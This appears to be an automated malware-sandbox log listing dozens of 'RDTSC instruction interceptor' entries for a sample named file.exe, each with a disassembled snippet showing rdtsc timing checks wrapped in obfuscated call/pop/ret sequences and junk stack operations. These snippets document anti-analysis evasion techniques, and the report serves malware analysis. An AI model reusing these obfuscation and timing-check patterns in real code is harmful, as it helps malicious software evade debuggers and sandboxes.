Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10370 second address: C10409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F33593F59B8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov bh, 8Ah 0x00000026 mov bx, si 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007F33593F59B8h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push edx 0x0000004a call 00007F33593F59B8h 0x0000004f pop edx 0x00000050 mov dword ptr [esp+04h], edx 0x00000054 add dword ptr [esp+04h], 0000001Bh 0x0000005c inc edx 0x0000005d push edx 0x0000005e ret 0x0000005f pop edx 0x00000060 ret 0x00000061 jnl 00007F33593F59B7h 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007F33593F59C9h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10572 second address: C1057F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1057F second address: C105DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F33593F59B8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D1B89h], ecx 0x00000028 push dword ptr fs:[00000000h] 0x0000002f sub ebx, dword ptr [ebp+122D2978h] 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov dword ptr [ebp+12472F29h], edi 0x00000042 mov eax, dword ptr [ebp+122D097Dh] 0x00000048 sub bl, FFFFFFC8h 0x0000004b push FFFFFFFFh 0x0000004d push eax 0x0000004e jl 00007F33593F59D0h 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C12390 second address: C12394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C12394 second address: C123F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a movzx edi, di 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F33593F59B8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov dword ptr [ebp+124531F3h], edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F33593F59B8h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C14ABA second address: C14ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1258C second address: C12599 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C12599 second address: C1259F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1259F second address: C125A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1266C second address: C12670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16B63 second address: C16B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C15B83 second address: C15B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18A2C second address: C18A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33593F59C0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18A45 second address: C18A68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17CCE second address: C17CEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F33593F59BAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F33593F59BBh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18A68 second address: C18B09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F33593F05BCh 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F33593F05B8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 jmp 00007F33593F05C6h 0x0000002d push 00000000h 0x0000002f or dword ptr [ebp+122D1F4Fh], esi 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F33593F05B8h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 0000001Ah 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 jp 00007F33593F05B6h 0x00000057 adc edi, 7C034772h 0x0000005d xchg eax, esi 0x0000005e jng 00007F33593F05CAh 0x00000064 jmp 00007F33593F05C4h 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e push esi 0x0000006f pop esi 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18B09 second address: C18B1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18B1C second address: C18B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18B22 second address: C18B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18D3C second address: C18D42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1AC5B second address: C1AC81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F33593F59C2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1AC81 second address: C1AC8B instructions: 0x00000000 rdtsc 0x00000002 je 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1BBC2 second address: C1BBC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1BBC6 second address: C1BBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CBEB second address: C1CBEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1BED8 second address: C1BEE2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2515F second address: C25169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F33593F59B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25169 second address: C25177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F33593F05CAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25177 second address: C251A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33593F59BEh 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33593F59C6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB185A second address: BB1860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1860 second address: BB1870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F33593F59B6h 0x0000000a jl 00007F33593F59B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2ADE6 second address: C2ADFA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2ADFA second address: C2AE12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33593F59C3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2AFBD second address: C2AFC7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2AFC7 second address: C2B01B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F33593F59B6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F33593F59C8h 0x00000017 mov eax, dword ptr [eax] 0x00000019 jg 00007F33593F59BAh 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F33593F59C8h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2C5A5 second address: C2C5C4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33593F05D1h 0x00000008 jmp 00007F33593F05C5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32802 second address: C3281A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F33593F59B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F33593F59B6h 0x00000012 jng 00007F33593F59B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32974 second address: C3298B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3298B second address: C32991 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32F81 second address: C32F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32F87 second address: C32F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32F8B second address: C32F94 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32F94 second address: C32F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAFDD8 second address: BAFDEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F33593F05BDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFFD75 second address: BE6B93 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F33593F59C6h 0x00000008 jmp 00007F33593F59C0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F33593F59B8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D34AEh], esi 0x00000032 lea eax, dword ptr [ebp+12481AFCh] 0x00000038 mov edx, dword ptr [ebp+122D2B68h] 0x0000003e push eax 0x0000003f jnl 00007F33593F59C5h 0x00000045 mov dword ptr [esp], eax 0x00000048 push 00000000h 0x0000004a push ebp 0x0000004b call 00007F33593F59B8h 0x00000050 pop ebp 0x00000051 mov dword ptr [esp+04h], ebp 0x00000055 add dword ptr [esp+04h], 0000001Ah 0x0000005d inc ebp 0x0000005e push ebp 0x0000005f ret 0x00000060 pop ebp 0x00000061 ret 0x00000062 call dword ptr [ebp+122D36B7h] 0x00000068 pushad 0x00000069 push ebx 0x0000006a pushad 0x0000006b popad 0x0000006c pop ebx 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 pop eax 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C002F6 second address: C002FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C004EA second address: C0052A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 3DBCE118h 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F33593F59B8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 2A6B8540h 0x0000002b push eax 0x0000002c push edx 0x0000002d jbe 00007F33593F59BCh 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0052A second address: C0052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C005C7 second address: C005CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C005CD second address: C005D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C008A6 second address: C008AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C009E1 second address: C009F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jns 00007F33593F05B6h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C009F4 second address: C009FE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F33593F59BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00D0D second address: C00D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F33593F05B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00D18 second address: C00D55 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F33593F59C3h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e movsx edx, bx 0x00000011 push 0000001Eh 0x00000013 xor edx, 1A3B5F97h 0x00000019 nop 0x0000001a pushad 0x0000001b jns 00007F33593F59BCh 0x00000021 push eax 0x00000022 push edx 0x00000023 jno 00007F33593F59B6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00EC5 second address: C00ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F33593F05B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00ECF second address: C00ED3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00ED3 second address: C00EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00EE2 second address: C00EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00EE6 second address: C00EEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C010DB second address: C010E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C010E2 second address: C0113C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F33593F05B8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 add edx, dword ptr [ebp+122D2A14h] 0x0000002a or dword ptr [ebp+122D230Ch], ebx 0x00000030 lea eax, dword ptr [ebp+12481B40h] 0x00000036 mov edi, esi 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push edx 0x0000003e pop edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0113C second address: C01146 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F33593F59B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A133 second address: C3A139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A139 second address: C3A13D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE76EB second address: BE76F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FA72 second address: C3FA84 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33593F59B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FA84 second address: C3FA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F33593F05B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FA8F second address: C3FAA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33593F59BBh 0x00000009 jo 00007F33593F59B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FAA4 second address: C3FAA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FBD1 second address: C3FBD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FD44 second address: C3FD49 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F76B second address: C3F781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F33593F59BCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40625 second address: C4062D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4062D second address: C40631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4074F second address: C40755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40755 second address: C40772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jmp 00007F33593F59BCh 0x0000000b jg 00007F33593F59B6h 0x00000011 pop edi 0x00000012 push ebx 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40772 second address: C40778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8F38 second address: BC8F4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59BEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8F4A second address: BC8F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F33593F05BDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8F61 second address: BC8F65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8F65 second address: BC8F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C49688 second address: C4969F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f js 00007F33593F59B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
